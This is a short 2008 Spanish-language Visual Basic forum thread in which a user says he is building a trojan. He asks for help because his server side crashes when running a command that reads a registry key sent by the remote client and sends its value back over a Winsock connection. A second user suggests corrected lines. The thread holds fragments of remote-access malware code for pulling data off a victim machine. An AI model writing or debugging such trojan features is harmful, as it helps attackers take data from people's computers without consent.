Foro de elhacker.net

Programación => Programación Visual Basic => Mensaje iniciado por: krackwar en 13 Febrero 2008, 15:16 pm



Título: error en code
Publicado por: krackwar en 13 Febrero 2008, 15:16 pm
ola , estoi asiendo un troyano i el serveer me esta dando error al ocupar una de las opciones de mi troyano que lo que ase es leer una clave del registro i emviarla al cliente i este lo muestra como una msgbox  aki va el code
----------en el server-------------
Código:
If Left(datos, 2) = "hk" Then
Dim ind As Object
    Set ind = CreateObject("WScript.Shell")
    Dim tmp As String
    tmp = wsh.RegRead datos
    ws.SendData "2020" & tmp
 End If
.-----en el cliente-------
Código:
if left(datos , 4 ) ="2020" then 
 datos = Right(datos, Len(datos) - 4)
msgbox ("datos , vbokonly , registro")
---------------------------------------------------------
bueno sobra decir que esta puesto en ws_DataArrival las dos i que datos es la informacion que llega que funciona en toda las otras opciones bueno ssi alguien me puede decir el error se lo agradecería


gracias de antemano ;)


Título: Re: error en code
Publicado por: Chefito en 13 Febrero 2008, 16:03 pm
Hola. Si pusieras el error que te lanza el vb lo resolveríamos más facilmente :P. Puede que el error esté en estas lineas?
Código:
   tmp = ind.RegRead datos
    ws.SendData "2020" & tmp & vbcrlf


Título: Re: error en code
Publicado por: krackwar en 13 Febrero 2008, 16:38 pm
Hola. Si pusieras el error que te lanza el vb lo resolveríamos más facilmente :P. Puede que el error esté en estas lineas?
Código:
   tmp = ind.RegRead datos
    ws.SendData "2020" & tmp & vbcrlf
no me muestra error solo se cierra


Título: Re: error en code
Publicado por: Chefito en 13 Febrero 2008, 16:41 pm
Pero probastes las lineas modificadas que te dejé?


Título: Re: error en code
Publicado por: krackwar en 13 Febrero 2008, 17:51 pm
Pero probastes las lineas modificadas que te dejé?
si